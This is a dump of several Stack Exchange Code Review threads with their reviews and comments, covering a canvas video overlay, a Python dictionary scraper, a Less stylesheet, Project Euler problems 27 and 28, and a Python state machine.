if (video.canPlayType("video/webm") =="probably" || video.canPlayType("video/webm") == "maybe") {
returnExtension = "webm";
} else if(video.canPlayType("video/mp4") == "probably" || video.canPlayType("video/mp4") == "maybe") {
returnExtension = "mp4";
} else if(video.canPlayType("video/ogg") =="probably" || video.canPlayType("video/ogg") == "maybe") {
returnExtension = "ogg";
}
return returnExtension;
}
function canvasSupport () {
return Modernizr.canvas;
}
function videoLoaded() {
canvasApp();
}
function canvasApp() {
function drawScreen () {
//Background and redraw background screen
context.fillStyle = '#ffffaa';
context.fillRect(0,0,theCanvas.width,theCanvas.height);
context.strokeStyle = '#000000';
context.strokeRect(5,5,theCanvas.width-10,theCanvas.height-10);
context.drawImage(videoElement,85,30);
context.fillStyle = "#000000";
context.font = "10px sans";
context.fillText ("Duration:" + videoElement.duration,10,280);
context.fillText ("Current time:" + videoElement.currentTime,260,280);
context.fillText ("Loop: " + videoElement.loop,10,290);
context.fillText ("Autoplay: " + videoElement.autoplay,80,290);
context.fillText ("Muted: " + videoElement.muted,160,290);
context.fillText ("Controls: " + videoElement.controls,240,290);
context.fillText ("Volume: " + videoElement.volume,320,290);
//Display Message
for (var i =0; i < messages.length ; i++) {
var tempMessage = messages[i];
if (videoElement.currentTime > tempMessage.time) {
context.font = "bold 14px sans";
context.fillStyle = "#FFFF00";
context.fillText (tempMessage.message, tempMessage.x ,
tempMessage.y);
}
}
}
var messages = new Array();
messages[0] = {time:7,message:"", x:0 ,y:0};
messages[1] = {time:1,message:"I love David Mathews Band!", x:90 ,y:200};
messages[2] = {time:4,message:"Look At Those Waves!", x:240 ,y:240};
messages[3] = {time:8,message:"Look At Those Rocks!", x:100 ,y:100};
var theCanvas = document.getElementById('canvasOne');
var context = theCanvas.getContext('2d');
videoElement.play();
function gameLoop() {
window.setTimeout(gameLoop, 20);
drawScreen();
}
gameLoop();
}
</script>
</head>
<body>
<div style="position: absolute; top: 50px; left: 50px;">
<canvas id="canvasOne" width="500" height="300"></canvas>
</div>
</body>
</html>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T03:11:39.357",
"Id": "82386",
"Score": "0",
"body": "Based largely on the O'Reilly book [_HTML5 Canvas_, Chapter 6](http://chimera.labs.oreilly.com/books/1234000001654/ch06.html). Video samples at http://orm-other.s3.amazonaws.com/html5canvasexamplecontent/chapter6/muirbeach.webm (or .mp4 or .ogg)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:10:05.463",
"Id": "82457",
"Score": "0",
"body": "You are corrrect. That has been one of the best books that I have purchased in the base couple of years. I think that I sleep with the thing day in and day out and even read while I am eating dinner. The only thing I have seen about their code is that clearing the canvas works the way that they do it but I am not certain that is how it should be done. Perfect book i will have to say. it is worth the money."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:11:31.673",
"Id": "82458",
"Score": "0",
"body": "In the book they put all of the main code in one function and then have other functions that are inside of that code. This way they do not have to pass variables up the chain of function calls which works good but I have always been told to send parameters in a function call."
}
] | [
{
"body": "<p>Interesting code,</p>\n\n<p>you are skirting the rules of 'code you wrote', but I still think review of this code is valuable. In essence this code is fine, there are some style changes you might want to consider.</p>\n\n<ul>\n<li>I am guessing part of your goal is to have a \"one page has it all\" HTML page, but you should really have that JavaScript in separate script file</li>\n<li>You create a <code>video</code> and a <code>div</code> tag with JavaScript, I would have these elements already in the HTML</li>\n<li>You are not using <code>canvasSupport</code> anywhere</li>\n<li><p><code>videoLoaded</code> is a one liner that calls another functions without parameters, I would kill that function and do</p>\n\n<pre><code>videoElement.addEventListener(\"canplaythrough\",canvasApp,false);\n</code></pre></li>\n<li><p>It is considered better to have one single comma separated <code>var</code> statement:</p>\n\n<pre><code>var videoElement;\n videoDiv;\n</code></pre></li>\n<li><p>I am a fan of early returns, I would write <code>supportedVideoFormat</code> like this:</p>\n\n<pre><code>function supportedVideoFormat(video) {\n if (video.canPlayType(\"video/webm\") ==\"probably\" || video.canPlayType(\"video/webm\") == \"maybe\") {\n return \"webm\";\n }\n if(video.canPlayType(\"video/mp4\") == \"probably\" || video.canPlayType(\"video/mp4\") == \"maybe\") {\n return \"mp4\";\n }\n if(video.canPlayType(\"video/ogg\") ==\"probably\" || video.canPlayType(\"video/ogg\") == \"maybe\") {\n return \"ogg\";\n } \n return \"\";\n}\n</code></pre>\n\n<p>But probably I would then get irritated by the repeated calls for the same property, so I would probably shortcut those, it would also help with the horizontal stretching:</p>\n\n<pre><code>function supportedVideoFormatExtesion(video) {\n var supportsWebM = video.canPlayType(\"video/webm\"),\n supportsMP4 = video.canPlayType(\"video/mp4\"),\n supportsOgg = video.canPlayType(\"video/ogg\");\n if ( supportsWebM ==\"probably\" || supportsWebM == \"maybe\") {\n return \"Webm\";\n }\n if( supportsMP4 == \"probably\" || supportsMP4 == \"maybe\") {\n return \"mp4\";\n }\n if( supportsOgg ==\"probably\" || supportsOgg == \"maybe\") {\n return \"ogg\";\n } \n return \"\";\n}\n</code></pre>\n\n<p>This would irritate me as well, at this point it is blindingly obvious that you are trying to map a video format string to an extension string.. The above code is not the best approach to do that..</p>\n\n<pre><code>function supportedVideoFormatExtesion(video) {\n var formats = ['video/webm','video/mp4','video/ogg'],\n extensions = ['Webm','mp4','ogg'],\n support;\n for( var i = 0 ; i < formats.length ; i++ ){\n support = video.canPlayType( formats[i] );\n if( support == 'probably' || support == 'maybe' )\n {\n return extensions[i];\n }\n }\n return \"\";\n}\n</code></pre>\n\n<p>Now I can support multiple versions, and adapt easily to future changes.</p></li>\n<li>In <code>canvasApp</code>, I would put the <code>var</code> statements on top. It looks odd to see you access <code>theCanvas</code> without it being assigned. It works, because of hoisting, but that doesnt mean you have to put all the declarations at the bottom.</li>\n<li><p>The messages code looks odd, I will just say that <code>var messages = [];</code> is preferred over <code>var messages = new Array();</code> and that personally I would write</p>\n\n<pre><code>var messages = [\n {time:7,message:\"\", x:0 ,y:0},\n {time:1,message:\"I love David Mathews Band!\", x:90 ,y:200},\n {time:4,message:\"Look At Those Waves!\", x:240 ,y:240},\n {time:8,message:\"Look At Those Rocks!\", x:100 ,y:100}\n]\n</code></pre></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T17:22:23.050",
"Id": "47162",
"ParentId": "47039",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T02:07:21.887",
"Id": "47039",
"Score": "6",
"Tags": [
"javascript",
"canvas",
"video"
],
"Title": "Display text on video screen"
} | 47039 |
<p>This scrapes results from thefreedictionary.com:</p>
<pre><code>#!/usr/bin/python
from bs4 import BeautifulSoup as bs
import re
from requests import get
def remove_non_ascii(text):
return re.sub(r'[^\x00-\x7F]+', '', text)
def get_soup(url):
raw = remove_non_ascii(get(url).content)
soup = bs(raw)
return soup.select("#MainTxt")[0].select('.ds-single')[0].text.strip()
def lookup(word):
base_url = "http://www.thefreedictionary.com/"
query_url = (base_url + word)
return get_soup(query_url)
if __name__ == '__main__':
print lookup('linux')
</code></pre>
<p><strong>Example</strong></p>
<p><img src="https://i.stack.imgur.com/F6Kek.png" alt="Example"></p>
<p><strong>Warning:</strong> this script may fail to comply with thefreedictionary.com's TOS </p>
| [] | [
{
"body": "<ol>\n<li>According to <a href=\"http://legacy.python.org/dev/peps/pep-0008/#imports\" rel=\"nofollow\">PEP8</a>, <code>import re</code> should come first</li>\n<li>In free dictionary there is only one div having the class <code>ds-single</code>. You can simplify your code to search for this div</li>\n<li>This doesn't apply to your program, but if you want to scrape multiple pages, it's better to use <a href=\"https://github.com/kennethreitz/grequests\" rel=\"nofollow\">grequests</a>.</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T10:51:22.873",
"Id": "47053",
"ParentId": "47045",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T05:26:14.043",
"Id": "47045",
"Score": "2",
"Tags": [
"python",
"python-2.x",
"web-scraping"
],
"Title": "Scraping thefreedictionary.com"
} | 47045 |
<p>I just started getting into the Less CSS framework and I am wondering if I'm doing it right and how the code can be improved if possible.</p>
<p><strong>global.less</strong></p>
<pre><code>//variables
@themeRed: #cc1111;
@themeColor: @themeRed;
@marginBottom: 10px;
@contentRadius: 5px;
//mixins
.border-radius(@args) {
-webkit-border-radius: @args;
-moz-border-radius: @args;
border-radius: @args;
}
//styles
body {
font: 12px Arial;
color: #333;
background: #e9eaed;
}
a {
&:link, &:visited {
color: @themeColor;
text-decoration: none;
}
&:hover {
border-bottom: solid 1px;
}
&:active {
//color: lighten(@themeColor, 10%);
}
}
#topbar {
background: @themeColor;
width: 100%;
height: 2px;
}
#container {
width: 750px;
margin: 0 auto;
padding: 10px 0;
}
#header {
display: table;
height: 100px;
width: 100%;
margin-bottom: @marginBottom;
.wrapper {
vertical-align: middle;
display: table-cell;
text-align: center;
}
}
#sitename {
font-size: 50px;
font-weight: bold;
text-transform: uppercase;
text-shadow: 2px 2px @themeColor;
a {
color: #fff;
border: none;
text-decoration: none;
}
}
.section-heading {
font-size: 1.1em;
padding-left: 10px;
margin-bottom: @marginBottom;
text-transform: uppercase;
font-weight: bold;
color: @themeColor;
border-bottom: 1px solid #e5e5e5;
line-height: 29px;
}
p {
line-height: 1.5em;
margin-bottom: 1em;
}
.last {
margin-bottom: 0;
}
#nav {
position: absolute;
width: 90px;
text-align: right;
margin-top: @contentRadius;
li {
border-right: 2px solid lighten(@themeColor, 30%);
padding: 2px 5px 2px 0;
margin-bottom: 2px;
&:hover {
border-color: @themeColor;
}
&.active {
border-color: @themeColor;
font-weight: bold;
}
}
}
.content {
width: 518px;
padding: 15px;
margin: 0 auto;
margin-bottom: @marginBottom;
background: #fff;
border: 1px solid;
border-color: #e5e6e9 #dfe0e4 #d0d1d5;
border-bottom: solid 2px @themeColor;
.border-radius(@contentRadius);
box-shadow: 0 1px 5px #d1d1d1;
a {
border-bottom: 0;
&:hover {
text-decoration: underline;
}
}
}
#advertisement {
margin-bottom: @marginBottom;
.adsbygoogle {
display: block;
margin: 0 auto;
}
}
#footer {
text-align: center;
p {
margin-bottom: 0;
}
}
</code></pre>
| [] | [
{
"body": "<p>Looks just fine, I think. Only some really minor things come to mind</p>\n\n<ol>\n<li><p>For <code>font-family</code>, it's good to always end with a generic font face style; in this case it'd be <code>sans-serif</code>. Arial is of course as \"web-safe\" as it gets, but still.</p></li>\n<li><p>Why does <code>#nav</code> have a <code>position: absolute</code> rule, but no actual positioning (<code>left</code>, <code>top</code>, etc.) values? I imagine you're doing some JS positioning, but you should still have a fallback position (or just set <code>position: absolute</code> in the JS, so it's only there when needed).</p></li>\n<li><p>You could consider using <code>:last-of-type</code> instead of explicitly giving elements a <code>last</code> class. Depends on <a href=\"http://caniuse.com/#feat=css-sel3\">what browsers you're targeting</a></p></li>\n<li><p>Remove the <code>a:active</code> rule; you've already commented it out of the code.</p></li>\n<li><p>You may want to do a <code>box-shadow</code> function that does the vendor-prefix magic, similar to your <code>border-radius</code></p></li>\n<li><p>You have one <code>@themeColor</code>, but also a bunch of different hard-coded colors (e.g. border colors on <code>.content</code>). So while it's easy to change the <code>@themeColor</code>, you'll probably still have to go through and change every other color to better match the new theme. If you can, use the <a href=\"http://lesscss.org/functions/#color-operations\">color functions</a> to derive the rest of the palette from <code>@themeColor</code> or make a more comprehensive list of color variables (even if they're only used once, it's still nice to be able to define the whole color scheme in 1 place).</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:44:05.553",
"Id": "47060",
"ParentId": "47047",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "47060",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T08:21:08.847",
"Id": "47047",
"Score": "4",
"Tags": [
"css",
"less-css"
],
"Title": "Can my Less CSS code be improved?"
} | 47047 |
<p><a href="http://projecteuler.net/problem=27" rel="nofollow">Project Euler problem 27</a></p>
<p>I decided to try simple brute force, and it worked surprisingly quickly. How can this be optimized?</p>
<pre><code>"""Considering quadratics of the form:
n^2 + an + b, where |a| < 1000 and |b| < 1000
Find the product of the coefficients, a and b,
for the quadratic expression that produces
the maximum number of primes for
consecutive values of n,
starting with n = 0."""
from timeit import default_timer as timer
import math
start = timer()
def longestPrimeQuadratic(alim, blim):
def isPrime(k): # checks if a number is prime
if k < 2: return False
elif k == 2: return True
elif k % 2 == 0: return False
else:
for x in range(3, int(math.sqrt(k)+1), 2):
if k % x == 0: return False
return True
longest = [0, 0, 0] # length, a, b
for a in range((alim * -1) + 1, alim):
for b in range(2, blim):
if isPrime(b):
count = 0
n = 0
while isPrime((n**2) + (a*n) + b):
count += 1
n += 1
if count > longest[0]:
longest = [count, a, b]
return longest
ans = longestPrimeQuadratic(1000, 1000)
elapsed_time = (timer() - start) * 100 # s --> ms
print "Found %d and %d in %r ms." % (ans[1], ans[2], elapsed_time)
</code></pre>
| [] | [
{
"body": "<p>This is mostly quite good, but has some issues.</p>\n\n<ul>\n<li><p>The required answer to the Project Euler problem is not the values of \\$a\\$ and \\$b\\$, but their product. You could output that value rather than requiring another computation.</p></li>\n<li><p>Your prime test could be speeded up by first calculating a table of primes, then only checking for divisibility against that.</p>\n\n<pre><code>primes = [2, 3]\n\ndef extend_primes(upto):\n \"\"\"Pre-extend the table of known primes\"\"\"\n for candidate in range(primes[-1], upto + 1, 2):\n if is_prime(candidate):\n primes.append(candidate)\n\ndef is_prime(x):\n \"\"\"Check whether \"x\" is a prime number\"\"\"\n # Check for too small numbers\n if x < primes[0]:\n return False\n # Calculate the largest possible divisor\n max = int(math.sqrt(x))\n # First, check against known primes\n for prime in primes:\n if prime > max:\n return True\n if x % prime == 0:\n return False\n # Then, lazily extend the table of primes as far as necessary\n for candidate in range(prime[-1], max + 1, 2):\n if is_prime(candidate):\n primes.append(candidate)\n if x % candidate == 0:\n return False\n return True\n</code></pre>\n\n<p>Whether this actually improves performance would have to be properly benchmarked.</p></li>\n<li><p>Your <code>longest</code> is an list. Instead, you probably wanted to use a <em>tuple</em>:</p>\n\n<pre><code>longest = (0, 0, 0)\n...\nif count > longest[0]:\n longest = (count, a, b)\n...\n_, a, b = longestQuadraticPrime(...)\n</code></pre>\n\n<p>What is the difference? A list is a variable-length data structure where all entries should have the same type. In C, the rough equivalent would be an array. A tuple is a fixed-size data structure where each entry can have a different type. The C equivalent would be a struct.</p>\n\n<p>However, I think it would be actually better to use named variables instead of indices:</p>\n\n<pre><code>longest_count = 0\nlongest_a = None\nlongest_b = None\n...\nif count > longest_count\n longest_count = count\n longest_a = a\n longest_b = b\n...\nreturn longest_a, longest_b\n...\na, b = longestQuadraticPrime(...)\n</code></pre>\n\n<p>This is longer, but more readable.</p></li>\n<li><p>Your code takes some nice shortcuts but fails to explain why you can take these shortcuts.</p>\n\n<p>For example, you only test a \\$b\\$ if it's a prime. This follows from the \\$n = 0\\$ case where the expression can be reduced to \\$b\\$, which therefore has to be prime. This also allowed you to narrow the search space from \\$(-1000, 1000)\\$ to \\$[2, 1000)\\$. Just mention this in a comment instead of implying it.</p>\n\n<p>If we pre-calculate a prime table, we could also iterate through those known primes instead of testing each number again and again:</p>\n\n<pre><code>extend_primes(blim)\nfor b in primes:\n if b >= blim:\n break\n ...\n</code></pre></li>\n<li><p>Your <code>n</code> and <code>count</code> variables are absolutely equivalent. Keep <code>n</code>, discard <code>count</code>.</p></li>\n<li><p>Stylistic issues:</p>\n\n<ul>\n<li><p>Variables and functions etc. should use <code>snake_case</code>, not <code>camelCase</code> or some <code>quiteunreadablemess</code>. If possible, they should consist of proper words rather than abbreviations, except for very common abbreviations like <em>maximum</em> as <em>max</em>.</p>\n\n<ul>\n<li><code>alim</code> → <code>a_lim</code> or <code>a_max</code></li>\n<li><code>isPrime</code> → <code>is_prime</code></li>\n<li><code>longestPrimeQuadratic</code> → <code>longest_prime_quadratic</code> (although this name doesn't convey very well what this function is doing)</li>\n<li><code>ans</code> → <code>answer</code>, but returning a tuple and destructuring this is probably cleaner.</li>\n</ul></li>\n<li><p>Don't use one-line conditionals like <code>if k < 2: return False</code>. Instead, use all the space you need to make it as readable as possible:</p>\n\n<pre><code>if k < 2:\n return True\n</code></pre></li>\n<li><p>Put spaces around binary operators. <code>math.sqrt(k)+1</code> becomes <code>math.sqrt(k) + 1</code></p></li>\n<li><p><code>alim * -1</code> would usually be written with an unary minus: <code>-alim</code>.</p></li>\n</ul></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:05:06.977",
"Id": "47057",
"ParentId": "47055",
"Score": "3"
}
},
{
"body": "<p>@amon sums up all the points pretty well. Adding on that, a possible optimization would be to check if (a+b) is even after already checking if b is prime.\nThis can be justified by the fact that at <code>n = 1</code> the equation becomes:<br></p>\n\n<blockquote>\n <p>1<sup>2</sup> + a(1) +b<br></p>\n</blockquote>\n\n<p>which is:<br></p>\n\n<blockquote>\n <p>a+b+1</p>\n</blockquote>\n\n<p>Thus for a+b+1 to be a prime, a+b has to certainly be even, or in other words, also check if:</p>\n\n<pre><code>if a+b % 2 == 0:\n</code></pre>\n\n<p><br>\nAnother optimization would be to store the last highest found value of <em>n</em> for a set of values of <em>a</em> and <em>b.</em> :</p>\n\n<pre><code>if count > longest[0]:\n longest = [count, a, b]\n max_solution = n-1\n</code></pre>\n\n<p>Now on the next test case values of <em>a and b</em> you could first check if the equation gives out a prime value for <code>n = max_solution</code> intead of starting from <code>n = 0</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-09-02T18:26:45.120",
"Id": "140338",
"ParentId": "47055",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47057",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T11:29:34.947",
"Id": "47055",
"Score": "4",
"Tags": [
"python",
"primes",
"programming-challenge"
],
"Title": "Project Euler 27 - Quadratic Primes"
} | 47055 |
<p><a href="http://projecteuler.net/problem=28" rel="nofollow">Project Euler problem 28</a></p>
<blockquote>
<p>Starting with the number 1 and moving to the right in a clockwise direction a 5 by 5 spiral is formed as follows:</p>
<p>$$\begin{array}{rrrrr}
\color{red}{21} &22 &23 &24 &\color{red}{25}\\
20 & \color{red}{7} & 8 & \color{red}{9} &10\\
19 & 6 & \color{red}{1} & 2 &11\\
18 & \color{red}{5} & 4 & \color{red}{3} &12\\
\color{red}{17} &16 &15 &14 &\color{red}{13}\\
\end{array}$$</p>
<p>It can be verified that the sum of the numbers on the diagonals is 101.</p>
<p>What is the sum of the numbers on the diagonals in a 1001 by 1001 spiral formed in the same way?</p>
</blockquote>
<p>I realized that the spiral was essentially an arithmetic sequence, so I based my code off of that.</p>
<pre><code>from timeit import default_timer as timer
start = timer()
def spiral_diag_sum(n):
if n < 1: return None
elif n == 1: return 1
elif n % 2 == 0: return None
else:
numbers = [1]
while len(numbers) < (2*n - 1):
increment = int(len(numbers) * 0.5 + 1.5)
for p in range(4):
numbers.append(numbers[-1] + increment)
return sum(numbers)
ans = spiral_diag_sum(1001)
elapsed_time = (timer() - start) * 1000 # s --> ms
print "Found %d in %r ms." % (ans, elapsed_time)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:23:23.943",
"Id": "82460",
"Score": "4",
"body": "Metric Marvin says, \"1s = 1000ms.\" :)"
}
] | [
{
"body": "<p>Accumulating all the numbers in a list is unnecessary, and with large numbers you might reach the memory limit. This is equivalent and more efficient:</p>\n\n<pre><code>count = 1\nlastnum = 1\ntotal = lastnum\nwhile count < (2 * n - 1):\n increment = count * 0.5 + 1.5\n for p in range(4):\n lastnum += increment\n total += lastnum\n count += 1\nreturn total\n</code></pre>\n\n<p>This has the added benefit that the result is already summed, no need to run <code>sum(...)</code> on a potentially large list.</p>\n\n<p>I dropped an unnecessary cast in <code>int(count * 0.5 + 1.5)</code>. This gives a noticeable improvement in <code>elapsed_time</code>.</p>\n\n<p>In your original code, you misplaced the indent of <code>return sum(numbers)</code>: it is outside of the <code>else</code> block, so it's a bit dirty.</p>\n\n<p>This may be a matter of taste, but I like to flatten this kind of if-else code like this:</p>\n\n<pre><code>if n < 1:\n return None\nif n == 1:\n return 1\nif n % 2 == 0:\n return None\n....\n</code></pre>\n\n<p>In any case, <a href=\"http://legacy.python.org/dev/peps/pep-0008/\" rel=\"nofollow\">PEP8</a> recommends to break the line after <code>:</code>. It's good to run <code>pep8</code> and <code>pyflakes</code> on your code and follow the recommendations.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T14:11:39.100",
"Id": "47062",
"ParentId": "47056",
"Score": "6"
}
},
{
"body": "<pre><code>from timeit import default_timer as timer\n\nstart = timer()\n</code></pre>\n\n<p>This line of code belongs with the code at the end of the program that times the call to <code>spiral_diag_sum</code>.</p>\n\n<pre><code>def spiral_diag_sum(n):\n</code></pre>\n\n<p>It's always a good idea to add a docstring. Several of the later Project Euler problems rely on finding a solution to earlier ones (though perhaps not this one), so you'll find yourself building up a library of useful code to reuse, in which case a good docstring makes it much easier to import.</p>\n\n<pre><code> if n < 1: return None\n elif n == 1: return 1\n elif n % 2 == 0: return None\n else:\n</code></pre>\n\n<p>Checking that your arguments are sane is good. However, here you've got (in sequence) an error condition, a successful return, an error condition and (following the <code>else</code>) the main body of the function. It's better to separate the error conditions and handle them first.</p>\n\n<p>You're also returning <code>None</code> as the error value, but you're not checking for that value after you call <code>spiral_diag_sum</code> at the end of the program. Add code to check that, or better yet, raise an exception here indicating the error. Since both the <code>n < 1</code> and <code>n % 2 == 0</code> clauses are checking the same argument's validity, you can combine them into one if-statement:</p>\n\n<pre><code> if n < 1 or n % 2 == 0: \n raise ValueError(\"argument must be an odd-valued integer >= 1\")\n</code></pre>\n\n<p>Resuming with the <code>if n == 1: return 1</code> from the original code:</p>\n\n<pre><code> if n == 1: \n return 1\n</code></pre>\n\n<p>Even when it's a short piece of code like here, I like to keep separate statements on their own line. Most Python code that you see will do that.</p>\n\n<pre><code> else:\n numbers = [1]\n while len(numbers) < (2*n - 1):\n increment = int(len(numbers) * 0.5 + 1.5)\n for p in range(4):\n numbers.append(numbers[-1] + increment) \n return sum(numbers)\n</code></pre>\n\n<p>The formulas here need more thought than is required. Calculate and store the <code>(2*n -1)</code> formula in a variable with a descriptive name. The <code>increment</code> starts at 2 for the first row out from the center, and goes up by two for every subsequent row, so this whole thing could be:</p>\n\n<pre><code> numbers_needed = 2 * n - 1\n increment = 2\n while len(numbers) < numbers_needed:\n for p in range(4):\n numbers.append(numbers[-1] + increment) \n increment += 2\n return sum(numbers)\n</code></pre>\n\n<p>This <a href=\"https://codereview.stackexchange.com/a/47062/40421\">other answer</a> already explains about the downsides of using a list to hold all the numbers and shows how to calculate the number at each corner. You can go even further and derive a mathematical formula for the total contributed by the four corners of an NxN square, then use that formula iterating from the central 1x1 square out to the final NxN.</p>\n\n<blockquote class=\"spoiler\">\n <p> Hint: the last corner of an NxN square will have the value N<sup>2</sup>. The values of the other three corners can be derived from that value. The same formula also works for the central 1x1 square so you don't even need to have a special case for it.</p>\n</blockquote>\n\n<pre><code>ans = spiral_diag_sum(1001)\nelapsed_time = (timer() - start) * 100 # s --> ms\nprint \"Found %d in %r ms.\" % (ans, elapsed_time)\n</code></pre>\n\n<p>Following from some things I mentioned earlier: making this into a module that you can use in later problems, checking for a valid return value from <code>spiral_diag_sum</code>, and keeping all the timing code together:</p>\n\n<pre><code>if __name__ == \"__main__\": # Allows standalone use or as a library module.\n start = timer() # This code moved from above.\n ans = spiral_diag_sum(2)\n elapsed_time = (timer() - start) * 100 # s --> ms\n if ans: # Check for valid answer (or use try / except)\n print \"Found %d in %r ms.\" % (ans, elapsed_time)\n else:\n print \"No answer returned\"\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T14:28:17.077",
"Id": "47064",
"ParentId": "47056",
"Score": "7"
}
},
{
"body": "<p>I think that the special cases in the beginning are a bit clumsy:</p>\n\n<pre><code>def spiral_diag_sum(n):\n if n < 1: return None\n elif n == 1: return 1\n elif n % 2 == 0: return None\n else:\n # Build the numbers list here\n …\n return sum(numbers)\n</code></pre>\n\n<p>Those cases are there for validation; they shouldn't look like a part of the calculation. Furthermore, <em>n</em> = 1 does not need to be a special case, so you shouldn't write it as such.</p>\n\n<pre><code>def spiral_diag_sum(n):\n if n < 1 or n % 2 == 0:\n raise ValueError(n)\n\n numbers = [1]\n …\n</code></pre>\n\n<hr>\n\n<p>I don't like this foray into floating point:</p>\n\n<pre><code>increment = int(len(numbers) * 0.5 + 1.5)\n</code></pre>\n\n<p>$$\nincrement =\n\\left\\lfloor \\frac{\\mathrm{len}(numbers)}{2} + \\frac{3}{2} \\right\\rfloor =\n\\left\\lfloor \\frac{\\mathrm{len}(numbers) + 3}{2} \\right\\rfloor\n$$</p>\n\n<p>That should be written in Python as</p>\n\n<pre><code>increment = (len(numbers) + 3) // 2\n</code></pre>\n\n<p>But, as @NiallC points out, it suffices to write</p>\n\n<pre><code>increment += 2\n</code></pre>\n\n<p>since <code>len(numbers)</code> increases by 4 each time.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T18:17:07.650",
"Id": "47079",
"ParentId": "47056",
"Score": "4"
}
},
{
"body": "<p>There is no need for a list or nested loops in this algorithm.</p>\n\n<p>Here is how I solved by making use of the pattern exhibited in the description:</p>\n\n<ul>\n<li><code>corner1=i**2</code> (NE corner, where <code>i</code> is the height/width dimension of each concentric square)</li>\n<li><code>corner2=corner1-(i-1)</code> (NW corner)</li>\n<li><code>corner3=corner2-(i-1)</code> (SW corner)</li>\n<li><code>corner4=corner3-(i-1)</code> (SE corner)</li>\n</ul>\n\n<p></p>\n\n<pre><code>def problem28():\n total=1\n for i in xrange(3,1002,2):\n total+=i**2 + (i**2-(i-1)) + (i**2-2*(i-1)) + (i**2-3*(i-1))\n return total\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-07-29T16:41:57.467",
"Id": "58409",
"ParentId": "47056",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T12:04:08.293",
"Id": "47056",
"Score": "6",
"Tags": [
"python",
"programming-challenge"
],
"Title": "Project Euler 28 - Number Spiral Diagonals"
} | 47056 |
<p>I'm trying to find the best - read: readable, maintainable, robust, threadsafe, usable - solution for a State Machine in python.
For this I've been looking at the State Design Pattern. However I want a pythonic and lean solution (saying not implementing functions in subclasses that are not needed).</p>
<p>Long story short, here's what I came up with. What do you think?</p>
<pre><code>#!/bin/env python
# -*- utf-8 -*-
"""Boiler Plate code for implementing a state machine according to
state design pattern
"""
class State(object):
"""Base class for a state in a statemachine
No statemachine class is needed. State transitions have to be
defined in self.transitions.
The object is callable and by calling it input is handled and
the next state is returned.
Example usage:
def handle(self, msg):
self._state = self._state(msg)
"""
transitions = [(None, None, None)]
def __init__(self, state_context):
self._context = state_context
def __call__(self, inp):
new_state = self
state_action_list = [(state, action) for cls, state,
action in self.transitions if
isinstance(inp, cls)]
if 1 == len(state_action_list):
state, action = state_action_list[0]
if action is not None:
try:
action(inp)
except TypeError:
action(self, inp)
new_state = state(self._context)
elif 1 < len(state_action_list):
raise AmbiguousTransitionError(inp, self)
print ("[DEBUG] %s -- %s --> %s" %
(self.__class__.__name__,
inp.__class__.__name__,
new_state.__class__.__name__ ))
return new_state
class AmbiguousTransitionError(Exception):
"""Raised if more than one state transition was found for a
given input
"""
pass
################################################## Example
class MsgA(object): pass
class MsgB(object): pass
class MsgC(object): pass
class StateA(State): pass
class StateB(State):
@staticmethod
def print_msg(inp):
print "Inp: ", inp
class StateC(State):
def print_context(self, unused_inp):
print "Context: ", self._context
StateA.transitions = [(MsgA, StateB, None)]
StateB.transitions = [(MsgB, StateC, StateB.print_msg)]
StateC.transitions = [(MsgB, StateB, None),
(MsgC, StateA, StateC.print_context)]
class Context(object):
def __init__(self):
self._state = StateA(self)
def handle(self, msg):
self._state = self._state(msg)
if __name__ == "__main__":
CONTEXT = Context()
CONTEXT.handle(MsgA())
CONTEXT.handle(MsgB())
CONTEXT.handle(MsgC())
CONTEXT.handle(MsgB())
</code></pre>
<p>The output looks like this:</p>
<p>python State.py</p>
<pre><code>[DEBUG] StateA -- MsgA --> StateB
Inp: <__main__.MsgB object at 0x1eb6250>
[DEBUG] StateB -- MsgB --> StateC
Context: <__main__.Context object at 0x1eb6150>
[DEBUG] StateC -- MsgC --> StateA
[DEBUG] StateA -- MsgB --> StateA
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T16:33:55.903",
"Id": "82428",
"Score": "0",
"body": "Interesting question ! Out of curiosity, my understanding is that nothing happens when the transition is not possible. Is it something we want ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T16:36:35.000",
"Id": "82429",
